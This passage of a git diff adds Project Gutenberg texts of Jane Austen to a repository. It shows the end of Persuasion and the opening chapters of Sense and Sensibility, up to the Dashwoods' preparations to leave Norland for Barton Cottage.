the acquisition of such friends +to be often with, for her cheerfulness and mental alacrity did not +fail her; and while these prime supplies of good remained, she might have +bid defiance even to greater accessions of worldly prosperity. +She might have been absolutely rich and perfectly healthy, +and yet be happy. Her spring of felicity was in the glow +of her spirits, as her friend Anne's was in the warmth of her heart. +Anne was tenderness itself, and she had the full worth of it +in Captain Wentworth's affection. His profession was all that could ever +make her friends wish that tenderness less, the dread of a future war +all that could dim her sunshine. She gloried in being a sailor's wife, +but she must pay the tax of quick alarm for belonging to that profession +which is, if possible, more distinguished in its domestic virtues +than in its national importance. + + + + Finis + + +End of the Project Gutenberg Etext of Persuasion by Jane Austin + + diff --git a/mccalum/austen-sense.txt b/mccalum/austen-sense.txt new file mode 100644 index 0000000..6419a6b --- /dev/null +++ b/mccalum/austen-sense.txt @@ -0,0 +1,15055 @@ +The Project Gutenberg Etext of Sense and Sensibility, by Austen + +Please take a look at the important information in this header. +We encourage you to keep this file on your own disk, keeping an +electronic path open for the next readers. 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FOR PUBLIC DOMAIN ETEXTS*Ver.04.29.93*END* + + + + + + + +SENSE AND SENSIBILITY + +by Jane Austen +(1811) + + + + +CHAPTER 1 + + +The family of Dashwood had long been settled in Sussex. +Their estate was large, and their residence was at Norland Park, +in the centre of their property, where, for many generations, +they had lived in so respectable a manner as to engage +the general good opinion of their surrounding acquaintance. +The late owner of this estate was a single man, who lived +to a very advanced age, and who for many years of his life, +had a constant companion and housekeeper in his sister. +But her death, which happened ten years before his own, +produced a great alteration in his home; for to supply +her loss, he invited and received into his house the family +of his nephew Mr. Henry Dashwood, the legal inheritor +of the Norland estate, and the person to whom he intended +to bequeath it. In the society of his nephew and niece, +and their children, the old Gentleman's days were +comfortably spent. His attachment to them all increased. +The constant attention of Mr. and Mrs. Henry Dashwood +to his wishes, which proceeded not merely from interest, +but from goodness of heart, gave him every degree of solid +comfort which his age could receive; and the cheerfulness +of the children added a relish to his existence. + +By a former marriage, Mr. Henry Dashwood had one +son: by his present lady, three daughters. The son, +a steady respectable young man, was amply provided +for by the fortune of his mother, which had been large, +and half of which devolved on him on his coming of age. +By his own marriage, likewise, which happened soon afterwards, +he added to his wealth. To him therefore the succession +to the Norland estate was not so really important as to +his sisters; for their fortune, independent of what might +arise to them from their father's inheriting that property, +could be but small. Their mother had nothing, and their +father only seven thousand pounds in his own disposal; +for the remaining moiety of his first wife's fortune was +also secured to her child, and he had only a life-interest +in it. + +The old gentleman died: his will was read, and +like almost every other will, gave as much disappointment +as pleasure. He was neither so unjust, nor so ungrateful, +as to leave his estate from his nephew;--but he left it to him +on such terms as destroyed half the value of the bequest. +Mr. Dashwood had wished for it more for the sake of his +wife and daughters than for himself or his son;--but to +his son, and his son's son, a child of four years old, +it was secured, in such a way, as to leave to himself +no power of providing for those who were most dear +to him, and who most needed a provision by any charge +on the estate, or by any sale of its valuable woods. +The whole was tied up for the benefit of this child, who, +in occasional visits with his father and mother at Norland, +had so far gained on the affections of his uncle, +by such attractions as are by no means unusual in children +of two or three years old; an imperfect articulation, +an earnest desire of having his own way, many cunning tricks, +and a great deal of noise, as to outweigh all the value +of all the attention which, for years, he had received +from his niece and her daughters. He meant not to +be unkind, however, and, as a mark of his affection +for the three girls, he left them a thousand pounds a-piece. + +Mr. Dashwood's disappointment was, at first, severe; +but his temper was cheerful and sanguine; and he might +reasonably hope to live many years, and by living economically, +lay by a considerable sum from the produce of an estate +already large, and capable of almost immediate improvement. +But the fortune, which had been so tardy in coming, was his +only one twelvemonth. He survived his uncle no longer; +and ten thousand pounds, including the late legacies, +was all that remained for his widow and daughters. + +His son was sent for as soon as his danger was known, +and to him Mr. Dashwood recommended, with all the strength +and urgency which illness could command, the interest +of his mother-in-law and sisters. + +Mr. John Dashwood had not the strong feelings of the +rest of the family; but he was affected by a recommendation +of such a nature at such a time, and he promised to do +every thing in his power to make them comfortable. +His father was rendered easy by such an assurance, +and Mr. John Dashwood had then leisure to consider how +much there might prudently be in his power to do for them. + +He was not an ill-disposed young man, unless to +be rather cold hearted and rather selfish is to be +ill-disposed: but he was, in general, well respected; +for he conducted himself with propriety in the discharge +of his ordinary duties. Had he married a more amiable woman, +he might have been made still more respectable than he +was:--he might even have been made amiable himself; for he +was very young when he married, and very fond of his wife. +But Mrs. John Dashwood was a strong caricature of himself;-- +more narrow-minded and selfish. + +When he gave his promise to his father, he meditated +within himself to increase the fortunes of his sisters +by the present of a thousand pounds a-piece. He then +really thought himself equal to it. The prospect of four +thousand a-year, in addition to his present income, +besides the remaining half of his own mother's fortune, +warmed his heart, and made him feel capable of generosity.-- +"Yes, he would give them three thousand pounds: it would +be liberal and handsome! It would be enough to make +them completely easy. Three thousand pounds! he could +spare so considerable a sum with little inconvenience."-- +He thought of it all day long, and for many days successively, +and he did not repent. + +No sooner was his father's funeral over, than Mrs. John +Dashwood, without sending any notice of her intention to her +mother-in-law, arrived with her child and their attendants. +No one could dispute her right to come; the house was +her husband's from the moment of his father's decease; +but the indelicacy of her conduct was so much the greater, +and to a woman in Mrs. Dashwood's situation, with only +common feelings, must have been highly unpleasing;-- +but in HER mind there was a sense of honor so keen, +a generosity so romantic, that any offence of the kind, +by whomsoever given or received, was to her a source +of immoveable disgust. Mrs. John Dashwood had never +been a favourite with any of her husband's family; +but she had had no opportunity, till the present, +of shewing them with how little attention to the comfort +of other people she could act when occasion required it. + +So acutely did Mrs. Dashwood feel this ungracious +behaviour, and so earnestly did she despise her +daughter-in-law for it, that, on the arrival of the latter, +she would have quitted the house for ever, had not the +entreaty of her eldest girl induced her first to reflect +on the propriety of going, and her own tender love for all +her three children determined her afterwards to stay, +and for their sakes avoid a breach with their brother. + +Elinor, this eldest daughter, whose advice was +so effectual, possessed a strength of understanding, +and coolness of judgment, which qualified her, +though only nineteen, to be the counsellor of her mother, +and enabled her frequently to counteract, to the advantage +of them all, that eagerness of mind in Mrs. Dashwood +which must generally have led to imprudence. She had +an excellent heart;--her disposition was affectionate, +and her feelings were strong; but she knew how to govern +them: it was a knowledge which her mother had yet to learn; +and which one of her sisters had resolved never to be taught. + +Marianne's abilities were, in many respects, +quite equal to Elinor's. She was sensible and clever; +but eager in everything: her sorrows, her joys, could have +no moderation. She was generous, amiable, interesting: she +was everything but prudent. The resemblance between +her and her mother was strikingly great. + +Elinor saw, with concern, the excess of her +sister's sensibility; but by Mrs. Dashwood it was valued +and cherished. They encouraged each other now in the +violence of their affliction. The agony of grief +which overpowered them at first, was voluntarily renewed, +was sought for, was created again and again. They gave +themselves up wholly to their sorrow, seeking increase +of wretchedness in every reflection that could afford it, +and resolved against ever admitting consolation +in future. Elinor, too, was deeply afflicted; but still +she could struggle, she could exert herself. She could +consult with her brother, could receive her sister-in-law +on her arrival, and treat her with proper attention; +and could strive to rouse her mother to similar exertion, +and encourage her to similar forbearance. + +Margaret, the other sister, was a good-humored, +well-disposed girl; but as she had already imbibed +a good deal of Marianne's romance, without having +much of her sense, she did not, at thirteen, bid fair +to equal her sisters at a more advanced period of life. + + + +CHAPTER 2 + + +Mrs. John Dashwood now installed herself mistress +of Norland; and her mother and sisters-in-law were degraded +to the condition of visitors. As such, however, they were +treated by her with quiet civility; and by her husband +with as much kindness as he could feel towards anybody +beyond himself, his wife, and their child. He really +pressed them, with some earnestness, to consider Norland +as their home; and, as no plan appeared so eligible +to Mrs. Dashwood as remaining there till she could +accommodate herself with a house in the neighbourhood, +his invitation was accepted. + +A continuance in a place where everything reminded +her of former delight, was exactly what suited her mind. +In seasons of cheerfulness, no temper could be more cheerful +than hers, or possess, in a greater degree, that sanguine +expectation of happiness which is happiness itself. +But in sorrow she must be equally carried away by her fancy, +and as far beyond consolation as in pleasure she was +beyond alloy. + +Mrs. John Dashwood did not at all approve of what her +husband intended to do for his sisters. To take three +thousand pounds from the fortune of their dear little boy +would be impoverishing him to the most dreadful degree. +She begged him to think again on the subject. How could +he answer it to himself to rob his child, and his only +child too, of so large a sum? And what possible claim +could the Miss Dashwoods, who were related to him only by +half blood, which she considered as no relationship at all, +have on his generosity to so large an amount. It was very +well known that no affection was ever supposed to exist +between the children of any man by different marriages; +and why was he to ruin himself, and their poor little Harry, +by giving away all his money to his half sisters? + +"It was my father's last request to me," replied +her husband, "that I should assist his widow and daughters." + +"He did not know what he was talking of, I dare say; +ten to one but he was light-headed at the time. +Had he been in his right senses, he could not have thought +of such a thing as begging you to give away half your +fortune from your own child." + +"He did not stipulate for any particular sum, +my dear Fanny; he only requested me, in general terms, +to assist them, and make their situation more comfortable +than it was in his power to do. Perhaps it would +have been as well if he had left it wholly to myself. +He could hardly suppose I should neglect them. +But as he required the promise, I could not do less +than give it; at least I thought so at the time. +The promise, therefore, was given, and must be performed. +Something must be done for them whenever they leave Norland +and settle in a new home." + +"Well, then, LET something be done for them; +but THAT something need not be three thousand pounds. +Consider," she added, "that when the money is once +parted with, it never can return. Your sisters will marry, +and it will be gone for ever. If, indeed, it could +be restored to our poor little boy--" + +"Why, to be sure," said her husband, very gravely, +"that would make great difference. The time may come when +Harry will regret that so large a sum was parted with. +If he should have a numerous family, for instance, it would +be a very convenient addition." + +"To be sure it would." + +"Perhaps, then, it would be better for all parties, +if the sum were diminished one half.--Five hundred pounds +would be a prodigious increase to their fortunes!" + +"Oh! beyond anything great! What brother on earth +would do half so much for his sisters, even if REALLY +his sisters! And as it is--only half blood!--But you +have such a generous spirit!" + +"I would not wish to do any thing mean," he replied. +"One had rather, on such occasions, do too much than +too little. No one, at least, can think I have not +done enough for them: even themselves, they can hardly +expect more." + +"There is no knowing what THEY may expect," +said the lady, "but we are not to think of their +expectations: the question is, what you can afford to do." + +"Certainly--and I think I may afford to give them five +hundred pounds a-piece. As it is, without any addition +of mine, they will each have about three thousand pounds +on their mother's death--a very comfortable fortune +for any young woman." + +"To be sure it is; and, indeed, it strikes me that +they can want no addition at all. They will have ten +thousand pounds divided amongst them. If they marry, +they will be sure of doing well, and if they do not, +they may all live very comfortably together on the interest +of ten thousand pounds." + +"That is very true, and, therefore, I do not know whether, +upon the whole, it would not be more advisable to do +something for their mother while she lives, rather than +for them--something of the annuity kind I mean.--My sisters +would feel the good effects of it as well as herself. +A hundred a year would make them all perfectly comfortable." + +His wife hesitated a little, however, in giving +her consent to this plan. + +"To be sure," said she, "it is better than parting with +fifteen hundred pounds at once. But, then, if Mrs. Dashwood +should live fifteen years we shall be completely taken in." + +"Fifteen years! my dear Fanny; her life cannot +be worth half that purchase." + +"Certainly not; but if you observe, people always +live for ever when there is an annuity to be paid them; +and she is very stout and healthy, and hardly forty. +An annuity is a very serious business; it comes over +and over every year, and there is no getting rid +of it. You are not aware of what you are doing. +I have known a great deal of the trouble of annuities; +for my mother was clogged with the payment of three +to old superannuated servants by my father's will, +and it is amazing how disagreeable she found it. +Twice every year these annuities were to be paid; and then +there was the trouble of getting it to them; and then one +of them was said to have died, and afterwards it turned +out to be no such thing. My mother was quite sick of it. +Her income was not her own, she said, with such perpetual +claims on it; and it was the more unkind in my father, +because, otherwise, the money would have been entirely at +my mother's disposal, without any restriction whatever. +It has given me such an abhorrence of annuities, that I am +sure I would not pin myself down to the payment of one for +all the world." + +"It is certainly an unpleasant thing," replied Mr. Dashwood, +"to have those kind of yearly drains on one's income. +One's fortune, as your mother justly says, is NOT one's own. +To be tied down to the regular payment of such a sum, +on every rent day, is by no means desirable: it takes away +one's independence." + +"Undoubtedly; and after all you have no thanks for it. +They think themselves secure, you do no more than what +is expected, and it raises no gratitude at all. If I were you, +whatever I did should be done at my own discretion entirely. +I would not bind myself to allow them any thing yearly. +It may be very inconvenient some years to spare a hundred, +or even fifty pounds from our own expenses." + +"I believe you are right, my love; it will be better +that there should by no annuity in the case; whatever I +may give them occasionally will be of far greater assistance +than a yearly allowance, because they would only enlarge +their style of living if they felt sure of a larger income, +and would not be sixpence the richer for it at the end +of the year. It will certainly be much the best way. +A present of fifty pounds, now and then, will prevent +their ever being distressed for money, and will, I think, +be amply discharging my promise to my father." + +"To be sure it will. Indeed, to say the truth, +I am convinced within myself that your father had no idea +of your giving them any money at all. The assistance +he thought of, I dare say, was only such as might be +reasonably expected of you; for instance, such as looking +out for a comfortable small house for them, helping them +to move their things, and sending them presents of fish +and game, and so forth, whenever they are in season. +I'll lay my life that he meant nothing farther; indeed, +it would be very strange and unreasonable if he did. +Do but consider, my dear Mr. Dashwood, how excessively +comfortable your mother-in-law and her daughters may live +on the interest of seven thousand pounds, besides the +thousand pounds belonging to each of the girls, which brings +them in fifty pounds a year a-piece, and, of course, +they will pay their mother for their board out of it. +Altogether, they will have five hundred a-year amongst them, +and what on earth can four women want for more than +that?--They will live so cheap! Their housekeeping will +be nothing at all. They will have no carriage, no horses, +and hardly any servants; they will keep no company, +and can have no expenses of any kind! Only conceive +how comfortable they will be! Five hundred a year! I am +sure I cannot imagine how they will spend half of it; +and as to your giving them more, it is quite absurd to think +of it. They will be much more able to give YOU something." + +"Upon my word," said Mr. Dashwood, "I believe you +are perfectly right. My father certainly could mean +nothing more by his request to me than what you say. +I clearly understand it now, and I will strictly fulfil +my engagement by such acts of assistance and kindness +to them as you have described. When my mother removes +into another house my services shall be readily given +to accommodate her as far as I can. Some little present +of furniture too may be acceptable then." + +"Certainly," returned Mrs. John Dashwood. "But, however, +ONE thing must be considered. When your father and mother +moved to Norland, though the furniture of Stanhill +was sold, all the china, plate, and linen was saved, +and is now left to your mother. Her house will therefore +be almost completely fitted up as soon as she takes it." + +"That is a material consideration undoubtedly. +A valuable legacy indeed! And yet some of the plate would +have been a very pleasant addition to our own stock here." + +"Yes; and the set of breakfast china is twice +as handsome as what belongs to this house. A great +deal too handsome, in my opinion, for any place THEY +can ever afford to live in. But, however, so it is. +Your father thought only of THEM. And I must say this: +that you owe no particular gratitude to him, nor attention +to his wishes; for we very well know that if he could, +he would have left almost everything in the world to THEM." + +This argument was irresistible. It gave to his +intentions whatever of decision was wanting before; and he +finally resolved, that it would be absolutely unnecessary, +if not highly indecorous, to do more for the widow +and children of his father, than such kind of neighbourly +acts as his own wife pointed out. + + + +CHAPTER 3 + + +Mrs. Dashwood remained at Norland several months; +not from any disinclination to move when the sight of every +well known spot ceased to raise the violent emotion which it +produced for a while; for when her spirits began to revive, +and her mind became capable of some other exertion than that +of heightening its affliction by melancholy remembrances, +she was impatient to be gone, and indefatigable in her inquiries +for a suitable dwelling in the neighbourhood of Norland; +for to remove far from that beloved spot was impossible. +But she could hear of no situation that at once answered +her notions of comfort and ease, and suited the prudence +of her eldest daughter, whose steadier judgment rejected +several houses as too large for their income, which her +mother would have approved. + +Mrs. Dashwood had been informed by her husband of the +solemn promise on the part of his son in their favour, +which gave comfort to his last earthly reflections. +She doubted the sincerity of this assurance no more than he +had doubted it himself, and she thought of it for her daughters' +sake with satisfaction, though as for herself she was +persuaded that a much smaller provision than 7000L would +support her in affluence. For their brother's sake, too, +for the sake of his own heart, she rejoiced; and she +reproached herself for being unjust to his merit before, +in believing him incapable of generosity. His attentive +behaviour to herself and his sisters convinced her that +their welfare was dear to him, and, for a long time, +she firmly relied on the liberality of his intentions. + +The contempt which she had, very early in their acquaintance, +felt for her daughter-in-law, was very much increased +by the farther knowledge of her character, which half +a year's residence in her family afforded; and perhaps +in spite of every consideration of politeness or maternal +affection on the side of the former, the two ladies might +have found it impossible to have lived together so long, +had not a particular circumstance occurred to give +still greater eligibility, according to the opinions +of Mrs. Dashwood, to her daughters' continuance at Norland. + +This circumstance was a growing attachment between +her eldest girl and the brother of Mrs. John Dashwood, +a gentleman-like and pleasing young man, who was introduced +to their acquaintance soon after his sister's establishment +at Norland, and who had since spent the greatest part +of his time there. + +Some mothers might have encouraged the intimacy from +motives of interest, for Edward Ferrars was the eldest son +of a man who had died very rich; and some might have repressed +it from motives of prudence, for, except a trifling sum, +the whole of his fortune depended on the will of his mother. +But Mrs. Dashwood was alike uninfluenced by either consideration. +It was enough for her that he appeared to be amiable, +that he loved her daughter, and that Elinor returned +the partiality. It was contrary to every doctrine of +her's that difference of fortune should keep any couple +asunder who were attracted by resemblance of disposition; +and that Elinor's merit should not be acknowledged +by every one who knew her, was to her comprehension impossible. + +Edward Ferrars was not recommended to their good +opinion by any peculiar graces of person or address. +He was not handsome, and his manners required intimacy +to make them pleasing. He was too diffident to do justice +to himself; but when his natural shyness was overcome, +his behaviour gave every indication of an open, +affectionate heart. His understanding was good, +and his education had given it solid improvement. +But he was neither fitted by abilities nor disposition +to answer the wishes of his mother and sister, who longed +to see him distinguished--as--they hardly knew what. +They wanted him to make a fine figure in the world in some +manner or other. His mother wished to interest him in +political concerns, to get him into parliament, or to see +him connected with some of the great men of the day. +Mrs. John Dashwood wished it likewise; but in the mean while, +till one of these superior blessings could be attained, it would +have quieted her ambition to see him driving a barouche. +But Edward had no turn for great men or barouches. +All his wishes centered in domestic comfort and the quiet +of private life. Fortunately he had a younger brother +who was more promising. + +Edward had been staying several weeks in the house +before he engaged much of Mrs. Dashwood's attention; +for she was, at that time, in such affliction as rendered +her careless of surrounding objects. She saw only that he +was quiet and unobtrusive, and she liked him for it. +He did not disturb the wretchedness of her mind by +ill-timed conversation. She was first called to observe +and approve him farther, by a reflection which Elinor +chanced one day to make on the difference between him +and his sister. It was a contrast which recommended him +most forcibly to her mother. + +"It is enough," said she; "to say that he is unlike +Fanny is enough. It implies everything amiable. +I love him already." + +"I think you will like him," said Elinor, "when you +know more of him." + +"Like him!" replied her mother with a smile. +"I feel no sentiment of approbation inferior to love." + +"You may esteem him." + +"I have never yet known what it was to separate +esteem and love." + +Mrs. Dashwood now took pains to get acquainted with him. +Her manners were attaching, and soon banished his reserve. +She speedily comprehended all his merits; the persuasion +of his regard for Elinor perhaps assisted her penetration; +but she really felt assured of his worth: and even that +quietness of manner, which militated against all her +established ideas of what a young man's address ought to be, +was no longer uninteresting when she knew his heart to be +warm and his temper affectionate. + +No sooner did she perceive any symptom of love +in his behaviour to Elinor, than she considered their +serious attachment as certain, and looked forward +to their marriage as rapidly approaching. + +"In a few months, my dear Marianne." said she, +"Elinor will, in all probability be settled for life. +We shall miss her; but SHE will be happy." + +"Oh! Mamma, how shall we do without her?" + +"My love, it will be scarcely a separation. +We shall live within a few miles of each other, and shall +meet every day of our lives. You will gain a brother, +a real, affectionate brother. I have the highest opinion +in the world of Edward's heart. But you look grave, +Marianne; do you disapprove your sister's choice?" + +"Perhaps," said Marianne, "I may consider it +with some surprise. Edward is very amiable, and I love +him tenderly. But yet--he is not the kind of young +man--there is something wanting--his figure is not striking; +it has none of that grace which I should expect +in the man who could seriously attach my sister. +His eyes want all that spirit, that fire, which at once +announce virtue and intelligence. And besides all this, +I am afraid, Mamma, he has no real taste. Music seems +scarcely to attract him, and though he admires Elinor's +drawings very much, it is not the admiration of a person +who can understand their worth. It is evident, in spite of +his frequent attention to her while she draws, that in fact +he knows nothing of the matter. He admires as a lover, +not as a connoisseur. To satisfy me, those characters +must be united. I could not be happy with a man whose +taste did not in every point coincide with my own. +He must enter into all my feelings; the same books, +the same music must charm us both. Oh! mama, how spiritless, +how tame was Edward's manner in reading to us last night! +I felt for my sister most severely. Yet she bore it +with so much composure, she seemed scarcely to notice it. +I could hardly keep my seat. To hear those beautiful lines +which have frequently almost driven me wild, pronounced +with such impenetrable calmness, such dreadful indifference!"-- + +"He would certainly have done more justice to +simple and elegant prose. I thought so at the time; +but you WOULD give him Cowper." + +"Nay, Mamma, if he is not to be animated by Cowper!-- +but we must allow for difference of taste. Elinor has +not my feelings, and therefore she may overlook it, and +be happy with him. But it would have broke MY heart, +had I loved him, to hear him read with so little sensibility. +Mama, the more I know of the world, the more am I convinced +that I shall never see a man whom I can really love. +I require so much! He must have all Edward's virtues, +and his person and manners must ornament his goodness +with every possible charm." + +"Remember, my love, that you are not seventeen. +It is yet too early in life to despair of such a happiness. +Why should you be less fortunate than your mother? In +one circumstance only, my Marianne, may your destiny be +different from her's!" + + + +CHAPTER 4 + + +"What a pity it is, Elinor," said Marianne, +"that Edward should have no taste for drawing." + +"No taste for drawing!" replied Elinor, "why should +you think so? He does not draw himself, indeed, but he has +great pleasure in seeing the performances of other people, +and I assure you he is by no means deficient in natural taste, +though he has not had opportunities of improving it. +Had he ever been in the way of learning, I think he would +have drawn very well. He distrusts his own judgment +in such matters so much, that he is always unwilling +to give his opinion on any picture; but he has an innate +propriety and simplicity of taste, which in general +direct him perfectly right." + +Marianne was afraid of offending, and said no more +on the subject; but the kind of approbation which Elinor +described as excited in him by the drawings of other +people, was very far from that rapturous delight, which, +in her opinion, could alone be called taste. Yet, though +smiling within herself at the mistake, she honoured +her sister for that blind partiality to Edward which produced it. + +"I hope, Marianne," continued Elinor, "you do not +consider him as deficient in general taste. Indeed, I think +I may say that you cannot, for your behaviour to him +is perfectly cordial, and if THAT were your opinion, +I am sure you could never be civil to him." + +Marianne hardly knew what to say. She would +not wound the feelings of her sister on any account, +and yet to say what she did not believe was impossible. +At length she replied: + +"Do not be offended, Elinor, if my praise of him +is not in every thing equal to your sense of his merits. +I have not had so many opportunities of estimating the minuter +propensities of his mind, his inclinations and tastes, +as you have; but I have the highest opinion in the world +of his goodness and sense. I think him every thing that is +worthy and amiable." + +"I am sure," replied Elinor, with a smile, +"that his dearest friends could not be dissatisfied +with such commendation as that. I do not perceive +how you could express yourself more warmly." + +Marianne was rejoiced to find her sister so easily pleased. + +"Of his sense and his goodness," continued Elinor, +"no one can, I think, be in doubt, who has seen him +often enough to engage him in unreserved conversation. +The excellence of his understanding and his principles +can be concealed only by that shyness which too often +keeps him silent. You know enough of him to do justice +to his solid worth. But of his minuter propensities, +as you call them you have from peculiar circumstances +been kept more ignorant than myself. He and I have +been at times thrown a good deal together, while you +have been wholly engrossed on the most affectionate +principle by my mother. I have seen a great deal of him, +have studied his sentiments and heard his opinion on +subjects of literature and taste; and, upon the whole, +I venture to pronounce that his mind is well-informed, +enjoyment of books exceedingly great, his imagination lively, +his observation just and correct, and his taste delicate +and pure. His abilities in every respect improve +as much upon acquaintance as his manners and person. +At first sight, his address is certainly not striking; +and his person can hardly be called handsome, till the +expression of his eyes, which are uncommonly good, +and the general sweetness of his countenance, is perceived. +At present, I know him so well, that I think him +really handsome; or at least, almost so. What say you, +Marianne?" + +"I shall very soon think him handsome, Elinor, if I +do not now. When you tell me to love him as a brother, +I shall no more see imperfection in his face, than I now do +in his heart." + +Elinor started at this declaration, and was sorry for +the warmth she had been betrayed into, in speaking of him. +She felt that Edward stood very high in her opinion. +She believed the regard to be mutual; but she required +greater certainty of it to make Marianne's conviction +of their attachment agreeable to her. She knew that +what Marianne and her mother conjectured one moment, +they believed the next--that with them, to wish was to hope, +and to hope was to expect. She tried to explain the real +state of the case to her sister. + +"I do not attempt to deny," said she, "that I think +very highly of him--that I greatly esteem, that I like him." + +Marianne here burst forth with indignation-- + +"Esteem him! Like him! Cold-hearted Elinor! Oh! +worse than cold-hearted! Ashamed of being otherwise. +Use those words again, and I will leave the room this moment." + +Elinor could not help laughing. "Excuse me," +said she; "and be assured that I meant no offence to you, +by speaking, in so quiet a way, of my own feelings. +Believe them to be stronger than I have declared; +believe them, in short, to be such as his merit, and the +suspicion--the hope of his affection for me may warrant, +without imprudence or folly. But farther than this you must +not believe. I am by no means assured of his regard for me. +There are moments when the extent of it seems doubtful; +and till his sentiments are fully known, you cannot wonder +at my wishing to avoid any encouragement of my own partiality, +by believing or calling it more than it is. In my heart +I feel little--scarcely any doubt of his preference. +But there are other points to be considered besides +his inclination. He is very far from being independent. +What his mother really is we cannot know; but, from Fanny's +occasional mention of her conduct and opinions, we have +never been disposed to think her amiable; and I am very +much mistaken if Edward is not himself aware that there +would be many difficulties in his way, if he were to wish +to marry a woman who had not either a great fortune or +high rank." + +Marianne was astonished to find how much the imagination +of her mother and herself had outstripped the truth. + +"And you really are not engaged to him!" said she. +"Yet it certainly soon will happen. But two advantages +will proceed from this delay. I shall not lose you so soon, +and Edward will have greater opportunity of improving +that natural taste for your favourite pursuit which must +be so indispensably necessary to your future felicity. +Oh! if he should be so far stimulated by your genius as to +learn to draw himself, how delightful it would be!" + +Elinor had given her real opinion to her sister. +She could not consider her partiality for Edward +in so prosperous a state as Marianne had believed it. +There was, at times, a want of spirits about him which, +if it did not denote indifference, spoke of something almost +as unpromising. A doubt of her regard, supposing him +to feel it, need not give him more than inquietude. +It would not be likely to produce that dejection of mind +which frequently attended him. A more reasonable cause +might be found in the dependent situation which forbade +the indulgence of his affection. She knew that his mother +neither behaved to him so as to make his home comfortable +at present, nor to give him any assurance that he might form +a home for himself, without strictly attending to her views +for his aggrandizement. With such a knowledge as this, +it was impossible for Elinor to feel easy on the subject. +She was far from depending on that result of his preference +of her, which her mother and sister still considered +as certain. Nay, the longer they were together the more +doubtful seemed the nature of his regard; and sometimes, +for a few painful minutes, she believed it to be no more +than friendship. + +But, whatever might really be its limits, it was enough, +when perceived by his sister, to make her uneasy, +and at the same time, (which was still more common,) +to make her uncivil. She took the first opportunity of +affronting her mother-in-law on the occasion, talking to +her so expressively of her brother's great expectations, +of Mrs. Ferrars's resolution that both her sons should +marry well, and of the danger attending any young woman +who attempted to DRAW HIM IN; that Mrs. Dashwood could +neither pretend to be unconscious, nor endeavor to be calm. +She gave her an answer which marked her contempt, +and instantly left the room, resolving that, whatever might +be the inconvenience or expense of so sudden a removal, +her beloved Elinor should not be exposed another week +to such insinuations. + +In this state of her spirits, a letter was delivered +to her from the post, which contained a proposal +particularly well timed. It was the offer of a small house, +on very easy terms, belonging to a relation of her own, +a gentleman of consequence and property in Devonshire. +The letter was from this gentleman himself, and written +in the true spirit of friendly accommodation. +He understood that she was in need of a dwelling; +and though the house he now offered her was merely a cottage, +he assured her that everything should be done to it which +she might think necessary, if the situation pleased her. +He earnestly pressed her, after giving the particulars +of the house and garden, to come with her daughters to +Barton Park, the place of his own residence, from whence +she might judge, herself, whether Barton Cottage, for the +houses were in the same parish, could, by any alteration, +be made comfortable to her. He seemed really anxious to +accommodate them and the whole of his letter was written +in so friendly a style as could not fail of giving pleasure +to his cousin; more especially at a moment when she was +suffering under the cold and unfeeling behaviour of her +nearer connections. She needed no time for deliberation +or inquiry. Her resolution was formed as she read. +The situation of Barton, in a county so far distant from +Sussex as Devonshire, which, but a few hours before, +would have been a sufficient objection to outweigh every +possible advantage belonging to the place, was now its +first recommendation. To quit the neighbourhood of Norland +was no longer an evil; it was an object of desire; +it was a blessing, in comparison of the misery of continuing +her daughter-in-law's guest; and to remove for ever +from that beloved place would be less painful than to +inhabit or visit it while such a woman was its mistress. +She instantly wrote Sir John Middleton her acknowledgment +of his kindness, and her acceptance of his proposal; +and then hastened to shew both letters to her daughters, +that she might be secure of their approbation before her +answer were sent. + +Elinor had always thought it would be more prudent +for them to settle at some distance from Norland, +than immediately amongst their present acquaintance. +On THAT head, therefore, it was not for her to oppose +her mother's intention of removing into Devonshire. +The house, too, as described by Sir John, was on so +simple a scale, and the rent so uncommonly moderate, +as to leave her no right of objection on either point; +and, therefore, though it was not a plan which brought +any charm to her fancy, though it was a removal from +the vicinity of Norland beyond her wishes, she made +no attempt to dissuade her mother from sending a letter +of acquiescence. + + + +CHAPTER 5 + + +No sooner was her answer dispatched, than Mrs. Dashwood +indulged herself in the pleasure of announcing to her +son-in-law and his wife that she was provided with a house, +and should incommode them no longer than till every thing were +ready for her inhabiting it. They heard her with surprise. +Mrs. John Dashwood said nothing; but her husband civilly +hoped that she would not be settled far from Norland. +She had great satisfaction in replying that she was going +into Devonshire.--Edward turned hastily towards her, +on hearing this, and, in a voice of surprise and concern, +which required no explanation to her, repeated, +"Devonshire! Are you, indeed, going there? So far from hence! +And to what part of it?" She explained the situation. +It was within four miles northward of Exeter. + +"It is but a cottage," she continued, "but I hope +to see many of my friends in it. A room or two can +easily be added; and if my friends find no difficulty +in travelling so far to see me, I am sure I will find +none in accommodating them." + +She concluded with a very kind invitation to +Mr. and Mrs. John Dashwood to visit her at Barton; +and to Edward she gave one with still greater affection. +Though her late conversation with her daughter-in-law had +made her resolve on remaining at Norland no longer than +was unavoidable, it had not produced the smallest effect +on her in that point to which it principally tended. +To separate Edward and Elinor was as far from being her +object as ever; and she wished to show Mrs. John Dashwood, +by this pointed invitation to her brother, how totally she +disregarded her disapprobation of the match. + +Mr. John Dashwood told his mother again and again +how exceedingly sorry he was that she had taken a house at +such a distance from Norland as to prevent his being of any +service to her in removing her furniture. He really felt +conscientiously vexed on the occasion; for the very exertion +to which he had limited the performance of his promise to +his father was by this arrangement rendered impracticable.-- +The furniture was all sent around by water. It chiefly +consisted of household linen, plate, china, and books, +with a handsome pianoforte of Marianne's. Mrs. John +Dashwood saw the packages depart with a sigh: she could +not help feeling it hard that as Mrs. Dashwood's income +would be so trifling in comparison with their own, +she should have any handsome article of furniture. + +Mrs. Dashwood took the house for a twelvemonth; it was +ready furnished, and she might have immediate possession. +No difficulty arose on either side in the agreement; and she +waited only for the disposal of her effects at Norland, +and to determine her future household, before she set +off for the west; and this, as she was exceedingly rapid +in the performance of everything that interested her, +was soon done.--The horses which were left her by her husband +had been sold soon after his death, and an opportunity +now offering of disposing of her carriage, she agreed +to sell that likewise at the earnest advice of her +eldest daughter. For the comfort of her children, had she +consulted only her own wishes, she would have kept it; +but the discretion of Elinor prevailed. HER wisdom +too limited the number of their servants to three; +two maids and a man, with whom they were speedily provided +from amongst those who had formed their establishment +at Norland. + +The man and one of the maids were sent off immediately +into Devonshire, to prepare the house for their mistress's +arrival; for as Lady Middleton was entirely unknown +to Mrs. Dashwood, she preferred going directly to the +cottage to being a visitor at Barton Park; and she relied +so undoubtingly on Sir John's description of the house, +as to feel no curiosity to examine it herself till she +entered it as her own. Her eagerness to be gone from Norland +was preserved from diminution by the evident satisfaction +of her daughter-in-law in the prospect of her removal; +a satisfaction which was but feebly attempted to be concealed 